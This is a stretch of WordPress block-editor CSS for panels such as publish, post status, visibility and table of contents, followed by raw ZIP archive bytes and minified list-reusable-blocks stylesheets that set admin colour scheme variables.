  box-shadow:0 0 0 0 var(--wp-admin-theme-color);
  display:flex;
  justify-content:center;
  min-height:40px;
  outline-offset:-1px;
  overflow:hidden;
  padding:0;
  width:100%;
}

.editor-post-featured-image__preview{
  height:auto !important;
  outline:1px solid #0000001a;
}
.editor-post-featured-image__preview .editor-post-featured-image__preview-image{
  aspect-ratio:2/1;
  object-fit:cover;
  object-position:50% 50%;
  width:100%;
}

.editor-post-featured-image__toggle{
  box-shadow:inset 0 0 0 1px #ccc;
}
.editor-post-featured-image__toggle:focus:not(:disabled){
  box-shadow:0 0 0 currentColor inset, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image){
  bottom:0;
  opacity:0;
  padding:8px;
  position:absolute;
}
@media not (prefers-reduced-motion){
  .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image){
    transition:opacity 50ms ease-out;
  }
}
.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image) .editor-post-featured-image__action{
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background:#ffffffbf;
}
.editor-post-featured-image__actions .editor-post-featured-image__action{
  flex-grow:1;
  justify-content:center;
}

[class].editor-post-format__suggestion{
  margin:4px 0 0;
}

.editor-post-format__dialog .editor-post-format__dialog-content{
  margin:8px;
  min-width:248px;
}

.editor-post-last-edited-panel{
  color:#757575;
}
.editor-post-last-edited-panel .components-text{
  color:inherit;
}

.editor-post-last-revision__title{
  font-weight:500;
  width:100%;
}

.editor-post-last-revision__title.components-button.has-icon{
  height:100%;
  justify-content:space-between;
}
.editor-post-last-revision__title.components-button.has-icon:active,.editor-post-last-revision__title.components-button.has-icon:hover{
  background:#f0f0f0;
}
.editor-post-last-revision__title.components-button.has-icon:focus{
  border-radius:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.components-panel__body.is-opened.editor-post-last-revision__panel{
  height:48px;
  padding:0;
}
.components-panel__body.is-opened.editor-post-last-revision__panel .editor-post-last-revision__title.components-button.components-button{
  padding:16px;
}

.editor-private-post-last-revision__button{
  display:inline-block;
}

.editor-post-locked-modal__buttons{
  margin-top:24px;
}

.editor-post-locked-modal__avatar{
  border-radius:50%;
  margin-top:16px;
  min-width:auto !important;
}

.editor-post-panel__row{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.editor-post-panel__row-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.editor-post-panel__row-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}
.editor-post-panel__row-control .components-button{
  height:auto;
  max-width:100%;
  min-height:32px;
  text-align:left;
  text-wrap:balance;
  text-wrap:pretty;
  white-space:normal;
}
.editor-post-panel__row-control .components-dropdown{
  max-width:100%;
}

.editor-post-panel__section{
  padding:16px;
}

.editor-post-publish-panel__content{
  min-height:calc(100% - 144px);
}
.editor-post-publish-panel__content>.components-spinner{
  display:block;
  margin:100px auto 0;
}

.editor-post-publish-panel__header{
  align-content:space-between;
  align-items:center;
  background:#fff;
  border-bottom:1px solid #ddd;
  display:flex;
  height:61px;
  padding-left:16px;
  padding-right:16px;
}
.editor-post-publish-panel__header .components-button{
  justify-content:center;
  width:100%;
}
.editor-post-publish-panel__header .has-icon{
  margin-left:auto;
  width:auto;
}

.components-site-card{
  align-items:center;
  display:flex;
  margin:16px 0;
}

.components-site-icon{
  border:none;
  border-radius:2px;
  flex-shrink:0;
  height:36px;
  margin-right:12px;
  width:36px;
}

.components-site-name{
  display:block;
  font-size:14px;
}

.components-site-home{
  color:#757575;
  display:block;
  font-size:12px;
  word-break:break-word;
}

.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{
  flex:1;
}
@media (min-width:480px){
  .editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{
    max-width:160px;
  }
}

.editor-post-publish-panel__header-publish-button{
  justify-content:center;
  padding-left:4px;
}

.editor-post-publish-panel__header-cancel-button{
  padding-right:4px;
}

.editor-post-publish-panel__header-published{
  flex-grow:1;
}

.editor-post-publish-panel__footer{
  padding:16px;
}

.components-button.editor-post-publish-panel__toggle.is-primary{
  align-items:center;
  display:inline-flex;
}
.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{
  display:none;
}
.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{
  margin-right:-4px;
}

.editor-post-publish-panel__link{
  font-weight:400;
  padding-left:4px;
}

.editor-post-publish-panel__prepublish{
  padding:16px;
}
.editor-post-publish-panel__prepublish strong{
  color:#1e1e1e;
}
.editor-post-publish-panel__prepublish .components-panel__body{
  background:#fff;
  margin-left:-16px;
  margin-right:-16px;
}
.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{
  display:none;
}
.editor-post-publish-panel__prepublish .components-panel__body-title .components-button{
  align-items:flex-start;
  text-wrap:balance;
  text-wrap:pretty;
}

.post-publish-panel__postpublish .components-panel__body{
  border-bottom:1px solid #e0e0e0;
  border-top:none;
}

.post-publish-panel__postpublish-buttons{
  align-content:space-between;
  display:flex;
  flex-wrap:wrap;
  gap:16px;
}
.post-publish-panel__postpublish-buttons .components-button{
  flex:1;
  justify-content:center;
}
.post-publish-panel__postpublish-buttons .components-clipboard-button{
  width:100%;
}

.post-publish-panel__postpublish-post-address-container{
  align-items:flex-end;
  display:flex;
  margin-bottom:16px;
}
.post-publish-panel__postpublish-post-address-container .post-publish-panel__postpublish-post-address{
  flex:1;
}
.post-publish-panel__postpublish-post-address-container input[readonly]{
  background:#f0f0f0;
  border-color:#ccc;
  height:36px;
  overflow:hidden;
  padding:12px;
  text-overflow:ellipsis;
}

.post-publish-panel__postpublish-post-address__copy-button-wrap{
  flex-shrink:0;
  margin-left:16px;
}

.post-publish-panel__postpublish-header{
  font-weight:500;
}

.post-publish-panel__postpublish-subheader{
  margin:0 0 8px;
}

.post-publish-panel__tip{
  color:#f0b849;
}

@media screen and (max-width:782px){
  .post-publish-panel__postpublish-post-address__button-wrap .components-button{
    height:40px;
  }
}
.editor-post-publish-panel{
  background:#fff;
  bottom:0;
  left:0;
  overflow:auto;
  position:fixed;
  right:0;
  top:46px;
  z-index:100001;
}
@media (min-width:782px){
  .editor-post-publish-panel{
    border-left:1px solid #ddd;
    left:auto;
    top:32px;
    width:281px;
    z-index:99998;
  }
}
@media (min-width:782px) and (not (prefers-reduced-motion)){
  .editor-post-publish-panel{
    animation:editor-post-publish-panel__slide-in-animation .1s forwards;
    transform:translateX(100%);
  }
}
@media (min-width:782px){
  body.is-fullscreen-mode .editor-post-publish-panel{
    top:0;
  }
  [role=region]:focus .editor-post-publish-panel{
    transform:translateX(0);
  }
}

@keyframes editor-post-publish-panel__slide-in-animation{
  to{
    transform:translateX(0);
  }
}
.editor-post-saved-state{
  align-items:center;
  color:#757575;
  display:flex;
  overflow:hidden;
  padding:12px 4px;
  white-space:nowrap;
  width:28px;
}
.editor-post-saved-state.is-saved[aria-disabled=true],.editor-post-saved-state.is-saved[aria-disabled=true]:hover,.editor-post-saved-state.is-saving[aria-disabled=true],.editor-post-saved-state.is-saving[aria-disabled=true]:hover{
  background:#0000;
  color:#757575;
}
.editor-post-saved-state svg{
  display:inline-block;
  flex:0 0 auto;
  fill:currentColor;
  margin-right:8px;
}
@media (min-width:600px){
  .editor-post-saved-state{
    padding:8px 12px;
    text-indent:inherit;
    width:auto;
  }
  .editor-post-saved-state svg{
    margin-right:0;
  }
}

.editor-post-save-draft.has-text.has-icon svg{
  margin-right:0;
}

.editor-post-schedule__panel-dropdown{
  width:100%;
}

.editor-post-schedule__dialog .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-post-status{
  max-width:100%;
}
.editor-post-status.is-read-only{
  padding:6px 12px;
}
.editor-post-status .editor-post-status__toggle.editor-post-status__toggle{
  padding-bottom:4px;
  padding-top:4px;
}

.editor-change-status__password-fieldset,.editor-change-status__publish-date-wrapper{
  border-top:1px solid #e0e0e0;
  padding-top:16px;
}

.editor-change-status__content .components-popover__content{
  min-width:320px;
  padding:16px;
}
.editor-change-status__content .editor-change-status__password-legend{
  margin-bottom:8px;
  padding:0;
}
.editor-change-status__content p.components-base-control__help:has(.components-checkbox-control__help){
  margin-top:4px;
}

.editor-post-sticky__checkbox-control{
  border-top:1px solid #e0e0e0;
  padding-top:16px;
}

.editor-post-sync-status__value{
  padding:6px 0 6px 12px;
}

.editor-post-taxonomies__hierarchical-terms-list{
  margin-left:-6px;
  margin-top:-6px;
  max-height:14em;
  overflow:auto;
  padding-left:6px;
  padding-top:6px;
}

.editor-post-taxonomies__hierarchical-terms-choice{
  margin-bottom:8px;
}
.editor-post-taxonomies__hierarchical-terms-choice:last-child{
  margin-bottom:4px;
}

.editor-post-taxonomies__hierarchical-terms-subchoices{
  margin-left:16px;
  margin-top:8px;
}

.editor-post-taxonomies__flat-term-most-used .editor-post-taxonomies__flat-term-most-used-label{
  margin-bottom:4px;
}

.editor-post-taxonomies__flat-term-most-used-list{
  margin:0;
}
.editor-post-taxonomies__flat-term-most-used-list li{
  display:inline-block;
  margin-right:8px;
}

.editor-post-template__swap-template-modal{
  z-index:1000001;
}

.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
  padding-top:2px;
}
@media (min-width:782px){
  .editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.editor-post-template__dropdown .components-popover__content{
  min-width:240px;
}
.editor-post-template__dropdown .components-button.is-pressed,.editor-post-template__dropdown .components-button.is-pressed:hover{
  background:inherit;
  color:inherit;
}

@media (min-width:782px){
  .editor-post-template__create-form{
    width:320px;
  }
}

.editor-post-template__classic-theme-dropdown{
  padding:8px;
}

textarea.editor-post-text-editor{
  border:1px solid #949494;
  border-radius:0;
  box-shadow:none;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:16px !important;
  line-height:2.4;
  margin:0;
  min-height:200px;
  overflow:hidden;
  padding:16px;
  resize:none;
  width:100%;
}
@media not (prefers-reduced-motion){
  textarea.editor-post-text-editor{
    transition:border .1s ease-out,box-shadow .1s linear;
  }
}
@media (min-width:600px){
  textarea.editor-post-text-editor{
    font-size:15px !important;
    padding:24px;
  }
}
textarea.editor-post-text-editor:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  position:relative;
}
textarea.editor-post-text-editor::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
textarea.editor-post-text-editor::-moz-placeholder{
  color:#1e1e1e9e;
}
textarea.editor-post-text-editor:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.editor-post-title.is-raw-text{
  margin-bottom:24px;
  margin-top:2px;
  max-width:none;
}

.editor-post-url__panel-dropdown{
  width:100%;
}

.editor-post-url__panel-dialog .editor-post-url{
  margin:8px;
  min-width:248px;
}
.editor-post-url__front-page-link,.editor-post-url__link{
  direction:ltr;
  word-break:break-word;
}
.editor-post-url__front-page-link{
  padding:6px 0 6px 12px;
}

.editor-post-url__link-slug{
  font-weight:600;
}

.editor-post-url__input input.components-input-control__input{
  padding-inline-start:0 !important;
}

.editor-post-url__panel-toggle{
  word-break:break-word;
}

.editor-post-url__intro{
  margin:0;
}

.editor-post-url__permalink{
  margin-bottom:0;
  margin-top:8px;
}
.editor-post-url__permalink-visual-label{
  display:block;
}

.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
  border:1px solid #1e1e1e;
  border-radius:2px;
  border-radius:50%;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:24px;
  line-height:normal;
  margin-right:12px;
  margin-top:2px;
  max-width:24px;
  min-width:24px;
  padding:6px 8px;
  position:relative;
  transition:none;
  width:24px;
}
@media not (prefers-reduced-motion){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    font-size:13px;
    line-height:normal;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-moz-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    height:16px;
    max-width:16px;
    min-width:16px;
    width:16px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{
  background-color:#fff;
  border:4px solid #fff;
  box-sizing:inherit;
  height:12px;
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  width:12px;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{
    height:8px;
    width:8px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked{
  background:var(--wp-admin-theme-color);
  border:none;
}
.editor-post-visibility__fieldset .editor-post-visibility__info{
  color:#757575;
  margin-left:36px;
  margin-top:.5em;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__info{
    margin-left:28px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__info{
  margin-bottom:0;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  margin-left:32px;
  padding:6px 8px;
  width:calc(100% - 32px);
}
@media not (prefers-reduced-motion){
  .editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
    font-size:13px;
    line-height:normal;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-moz-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.editor-posts-per-page-dropdown__content .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-post-trash.components-button{
  flex-grow:1;
  justify-content:center;
}

.editor-preview-dropdown .editor-preview-dropdown__toggle.has-icon.has-text{
  padding-left:6px;
  padding-right:4px;
}

.editor-preview-dropdown__button-external{
  display:flex;
  justify-content:space-between;
  width:100%;
}

.editor-resizable-editor.is-resizable{
  margin:0 auto;
  overflow:visible;
}

.editor-resizable-editor__resize-handle{
  appearance:none;
  background:none;
  border:0;
  border-radius:9999px;
  bottom:0;
  cursor:ew-resize;
  height:100px;
  margin:auto 0;
  outline:none;
  padding:0;
  position:absolute;
  top:0;
  width:12px;
}
.editor-resizable-editor__resize-handle:after{
  background-color:#75757566;
  border-radius:9999px;
  bottom:16px;
  content:"";
  left:4px;
  position:absolute;
  right:0;
  top:16px;
  width:4px;
}
.editor-resizable-editor__resize-handle.is-left{
  left:-18px;
}
.editor-resizable-editor__resize-handle.is-right{
  right:-18px;
}
.editor-resizable-editor__resize-handle:active,.editor-resizable-editor__resize-handle:focus,.editor-resizable-editor__resize-handle:hover{
  opacity:1;
}
.editor-resizable-editor__resize-handle:active:after,.editor-resizable-editor__resize-handle:focus:after,.editor-resizable-editor__resize-handle:hover:after{
  background-color:var(--wp-admin-theme-color);
}

.editor-layout__toggle-entities-saved-states-panel,.editor-layout__toggle-publish-panel,.editor-layout__toggle-sidebar-panel{
  background-color:#fff;
  border:1px dotted #ddd;
  bottom:auto;
  box-sizing:border-box;
  display:flex;
  height:auto !important;
  justify-content:center;
  left:auto;
  padding:24px;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:280px;
  z-index:100000;
}

.interface-interface-skeleton__actions:focus .editor-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .editor-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .editor-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .editor-layout__toggle-publish-panel{
  bottom:0;
  top:auto;
}

.editor-start-page-options__modal .editor-start-page-options__modal__actions{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:92px;
  margin-left:-32px;
  margin-right:-32px;
  padding-left:32px;
  padding-right:32px;
  position:absolute;
  width:100%;
  z-index:1;
}
.editor-start-page-options__modal .block-editor-block-patterns-list{
  padding-bottom:92px;
}

.editor-start-page-options__modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .editor-start-page-options__modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .editor-start-page-options__modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
  margin-bottom:24px;
}
.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  min-height:100px;
}
.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__content{
  width:100%;
}

.editor-start-template-options__modal .editor-start-template-options__modal__actions{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:92px;
  margin-left:-32px;
  margin-right:-32px;
  padding-left:32px;
  padding-right:32px;
  position:absolute;
  width:100%;
  z-index:1;
}
.editor-start-template-options__modal .block-editor-block-patterns-list{
  padding-bottom:92px;
}

.editor-start-template-options__modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .editor-start-template-options__modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .editor-start-template-options__modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.editor-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.editor-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{
  display:none;
}

.components-panel__header.editor-sidebar__panel-tabs{
  padding-left:0;
  padding-right:8px;
}
.components-panel__header.editor-sidebar__panel-tabs .components-button.has-icon{
  padding:0;
}
@media (min-width:782px){
  .components-panel__header.editor-sidebar__panel-tabs .components-button.has-icon{
    display:flex;
  }
}

.editor-post-summary .components-v-stack:empty{
  display:none;
}

.editor-site-discussion-dropdown__content .components-popover__content{
  min-width:320px;
  padding:16px;
}

.table-of-contents__popover.components-popover .components-popover__content{
  min-width:380px;
}

.components-popover.table-of-contents__popover{
  z-index:99998;
}

.table-of-contents__popover .components-popover__content{
  padding:16px;
}
@media (min-width:600px){
  .table-of-contents__popover .components-popover__content{
    max-height:calc(100vh - 120px);
    overflow-y:auto;
  }
}
.table-of-contents__popover hr{
  margin:10px -16px 0;
}

.table-of-contents__wrapper:focus:before{
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.table-of-contents__counts{
  display:flex;
  flex-wrap:wrap;
  margin:-8px 0 0;
}

.table-of-contents__count{
  color:#1e1e1e;
  display:flex;
  flex-basis:33%;
  flex-direction:column;
  font-size:13px;
  margin-bottom:0;
  margin-top:8px;
  padding-right:8px;
}
.table-of-contents__count:nth-child(4n){
  padding-right:0;
}

.table-of-contents__number,.table-of-contents__popover .word-count{
  color:#1e1e1e;
  font-size:21px;
  font-weight:400;
  line-height:30px;
}

.table-of-contents__title{
  display:block;
  font-size:15px;
  font-weight:600;
  margin-top:20px;
}

.editor-text-editor{
  background-color:#fff;
  flex-grow:1;
  position:relative;
  width:100%;
}
.editor-text-editor .editor-post-title.is-raw-text textarea,.editor-text-editor .editor-post-title:not(.is-raw-text){
  border:1px solid #949494;
  border-radius:0;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:2.5em;
  font-weight:400;
  line-height:1.4;
  max-width:none;
  padding:16px;
}
@media (min-width:600px){
  .editor-text-editor .editor-post-title.is-raw-text textarea,.editor-text-editor .editor-post-title:not(.is-raw-text){
    padding:24px;
  }
}
.editor-text-editor .editor-post-title.is-raw-text textarea:focus,.editor-text-editor .editor-post-title:not(.is-raw-text):focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.editor-text-editor__body{
  margin-left:auto;
  margin-right:auto;
  max-width:1080px;
  padding:0 12px 12px;
  width:100%;
}
@media (min-width:960px){
  .editor-text-editor__body{
    padding:0 24px 24px;
  }
}

.editor-text-editor__toolbar{
  background:#fffc;
  display:flex;
  left:0;
  padding:4px 12px;
  position:sticky;
  right:0;
  top:0;
  z-index:1;
}
@media (min-width:600px){
  .editor-text-editor__toolbar{
    padding:12px;
  }
}
@media (min-width:960px){
  .editor-text-editor__toolbar{
    padding:12px 24px;
  }
}
.editor-text-editor__toolbar h2{
  color:#1e1e1e;
  font-size:13px;
  line-height:40px;
  margin:0 auto 0 0;
}

.editor-visual-editor{
  align-items:center;
  background-color:#ddd;
  display:flex;
  position:relative;
}
.editor-visual-editor iframe[name=editor-canvas]{
  background-color:initial;
}
.editor-visual-editor.is-resizable{
  max-height:100%;
}
.editor-visual-editor.has-padding{
  padding:24px 24px 0;
}
.editor-visual-editor.is-iframed{
  overflow:hidden;
}
.editor-visual-editor .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:6px 12px;
}
.editor-visual-editor .components-button.has-icon,.editor-visual-editor .components-button.is-tertiary{
  padding:6px;
}

.editor-fields-content-preview{
  border-radius:4px;
  display:flex;
  flex-direction:column;
  height:100%;
}
.dataviews-view-table .editor-fields-content-preview{
  flex-grow:0;
  width:96px;
}
.editor-fields-content-preview .block-editor-block-preview__container,.editor-fields-content-preview .editor-fields-content-preview__empty{
  margin-bottom:auto;
  margin-top:auto;
}

.editor-fields-content-preview__empty{
  text-align:center;
}PK1Xd[���*~~+dist/list-reusable-blocks/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.list-reusable-blocks-import-dropdown__content .components-popover__content{padding:10px}[class].list-reusable-blocks-import-dropdown__button{height:30px}.list-reusable-blocks-import-form__label{display:block;margin-bottom:10px}.list-reusable-blocks-import-form__button{float:left;margin-top:10px}.list-reusable-blocks-import-form .components-notice__content{margin:0}.list-reusable-blocks-import-form .components-notice.is-dismissible{margin:5px 0;padding-left:0}.list-reusable-blocks__container{align-items:center;display:inline-flex;position:relative;top:-3px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[��3��'dist/list-reusable-blocks/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.list-reusable-blocks-import-dropdown__content .components-popover__content{padding:10px}[class].list-reusable-blocks-import-dropdown__button{height:30px}.list-reusable-blocks-import-form__label{display:block;margin-bottom:10px}.list-reusable-blocks-import-form__button{float:right;margin-top:10px}.list-reusable-blocks-import-form .components-notice__content{margin:0}.list-reusable-blocks-import-form .components-notice.is-dismissible{margin:5px 0;padding-right:0}.list-reusable-blocks__container{align-items:center;display:inline-flex;position:relative;top:-3px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media 